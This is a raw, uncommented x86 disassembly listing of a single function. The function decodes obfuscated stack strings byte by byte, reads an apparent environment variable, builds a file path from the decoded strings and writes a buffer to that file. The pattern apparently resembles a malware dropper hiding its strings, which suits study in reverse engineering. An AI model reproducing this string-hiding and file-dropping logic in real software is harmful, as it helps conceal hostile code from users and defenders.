lea ecx, [ebp - 0x1c8]
call fcn.00402890
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0xa4]
call fcn.00402890
cmp dword [ebp - 0x124], 0x10
lea ecx, [ebp - 0x138]
cmovae ecx, dword [ebp - 0x138]
call fcn.004161d0
movaps xmm0, xmmword [0x51e190]
xor ecx, ecx
movups xmmword [ebp - 0xdd], xmm0
mov dword [ebp - 0xcd], 0xf3edb0bf
mov dword [ebp - 0xc9], 0xd8d6d7bf
mov dword [ebp - 0xc5], 0xcbccdad7
mov byte [ebp - 0xc1], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xdd]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0xdd], al
inc ecx
cmp ecx, 0x1c
jb 0x417650
mov dword [ebp - 0x36], 0xebb0bfbd
xor ecx, ecx
mov dword [ebp - 0x32], 0xbdbff1
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x36]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 7
jb 0x417680
mov dword [ebp - 0x1c], 0xebb0bfbd
xor ecx, ecx
mov dword [ebp - 0x18], 0xbdbfed
movzx eax, byte [ebp + ecx - 0x1c]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 7
jb 0x4176a5
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 0x90], 0
movups xmmword [ebp - 0xa4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4176e1
sub ecx, edx
lea eax, [ebp - 0x2e4]
push ecx
push eax
lea ecx, [ebp - 0xa4]
call fcn.00402aa0
mov byte [ebp - 4], 0x2c
xor ecx, ecx
movaps xmm0, xmmword [0x51e9b0]
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0xbff9b0bf
mov dword [ebp - 0xf4], 0xbfcacdb0
mov word [ebp - 0xf0], 0xbd
nop
movzx eax, byte [ebp + ecx - 0x108]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x108], al
inc ecx
cmp ecx, 0x19
jb 0x417730
lea eax, [ebp - 0xa4]
push eax
lea edx, [ebp - 0x108]
lea ecx, [ebp - 0x1e0]
call fcn.0045c570
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x1c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1b0]
call fcn.0045c440
add esp, 8
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x8c]
cmp dword [ebp - 0x78], 0x10
push dword [ebp - 0x7c]
cmovae ecx, dword [ebp - 0x8c]
push ecx
mov ecx, eax
call fcn.0045a730
mov dword [ebp - 0xac], 0
lea edx, [ebp - 0xbc]
mov dword [ebp - 0xa8], 0
lea ecx, [ebp - 0x1c8]
xorps xmm0, xmm0
or esi, 0x800
movups xmmword [ebp - 0xbc], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xbc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x36]
push eax
mov dword [ebp - 0x10], esi
call fcn.0045c440
add esp, 4
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x120]
cmp dword [ebp - 0x10c], 0x10
push dword [ebp - 0x110]
cmovae ecx, dword [ebp - 0x120]
push ecx
mov ecx, eax
call fcn.0045a730
mov dword [ebp - 0x44], 0
lea edx, [ebp - 0x54]
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x198]
xorps xmm0, xmm0
or esi, 0x1000
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x54], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x44], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xdd]
push eax
mov dword [ebp - 0x10], esi
call fcn.0045c440
add esp, 4
mov byte [ebp - 4], 0x32
and esi, 0xffffefff
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4178c5
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4178bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d0d
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x1c8]
call fcn.00402890
and esi, 0xfffff7ff
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x41792d
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417923
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d0d
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], 0
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x1b0]
call fcn.00402890
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x1e0]
call fcn.00402890
mov byte [ebp - 4], 0x38
mov ecx, dword [ebp - 0x90]
cmp ecx, 0x10
jb 0x4179a4
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41799a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d0d
push ecx
push edx
call fcn.004b2a81
add esp, 8
cmp dword [ebp - 0x184], 0x10
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x94], 0
cmovae ecx, dword [ebp - 0x198]
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
call fcn.004161d0
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x198]
call fcn.00402890
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x138]
call fcn.00402890
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x8c]
call fcn.00402890
jmp 0x417a1e
mov esi, dword [ebp - 0x10]
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x8c]
call fcn.00402890
jmp 0x417a1e
mov esi, dword [ebp - 0x10]
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x417a56
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417a4c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d12
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
mov dword [ebp - 0x19], 0xcfd2dacb
xor ecx, ecx
mov byte [ebp - 0x15], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 4
jb 0x417a75
lea eax, [ebp - 0x19]
push eax
call fcn.004d76e1
add esp, 4
test eax, eax
je 0x417c96
mov edi, dword [ebp - 0xc0]
xorps xmm0, xmm0
mov ecx, edi
mov dword [ebp - 0x7c], 0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417ac1
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x8c]
call fcn.00402aa0
mov byte [ebp - 4], 0x39
xor ecx, ecx
mov dword [ebp - 0x3c], 0xecdea6d2
mov dword [ebp - 0x38], 0xf3fef7ef
mov dword [ebp - 0x34], 0xf2ebb1eb
mov word [ebp - 0x30], 0xef
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x3c]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x3c], al
inc ecx
cmp ecx, 0xd
jb 0x417b00
mov dword [ebp - 0x1a], 0xecf6edc3
xor ecx, ecx
mov word [ebp - 0x16], 0xfa
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 5
jb 0x417b24
push 0x530bb8
lea edx, [ebp - 0x1a]
lea ecx, [ebp - 0x1b0]
call fcn.0045c4e0
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x3c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1c8]
call fcn.0045c440
add esp, 8
mov byte [ebp - 4], 0x3b
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x417b73
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x8c]
call fcn.0045a730
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x1c8]
call fcn.00402890
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x1b0]
call fcn.00402890
mov word [ebp - 0x13], 0xfde8
xor ecx, ecx
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x13]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 2
jb 0x417bb0
cmp dword [ebp - 0x78], 0x10
lea ecx, [ebp - 0x13]
lea eax, [ebp - 0x8c]
cmovae eax, dword [ebp - 0x8c]
push ecx
push eax
call fcn.004ceb20
mov edi, eax
add esp, 8
test edi, edi
je 0x417c46
call fcn.00414660
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0xa4]
push edx
push eax
call fcn.0045bad0
or esi, 0x10
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x90], 0x10
push edi
push dword [ebp - 0x94]
cmovae eax, dword [ebp - 0xa4]
push 1
push eax
call fcn.004d6928
push edi
call fcn.004d23a8
and esi, 0xffffffef
add esp, 0x1c
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0xa4]
call fcn.00402890
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x78]
cmp ecx, 0x10
jb 0x417c81
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417c77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d17
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x180]
call fcn.00402890
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x120]
call fcn.00402890
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x150]
call fcn.00402890
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x168]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00402210
call fcn.004cdf70
call fcn.004cdf70
call fcn.004cdf70
call fcn.00402210
call fcn.00402210
call fcn.004cdf70
call fcn.004cdf70
call fcn.004cdf70
call fcn.004cdf70
call fcn.004cdf70
int3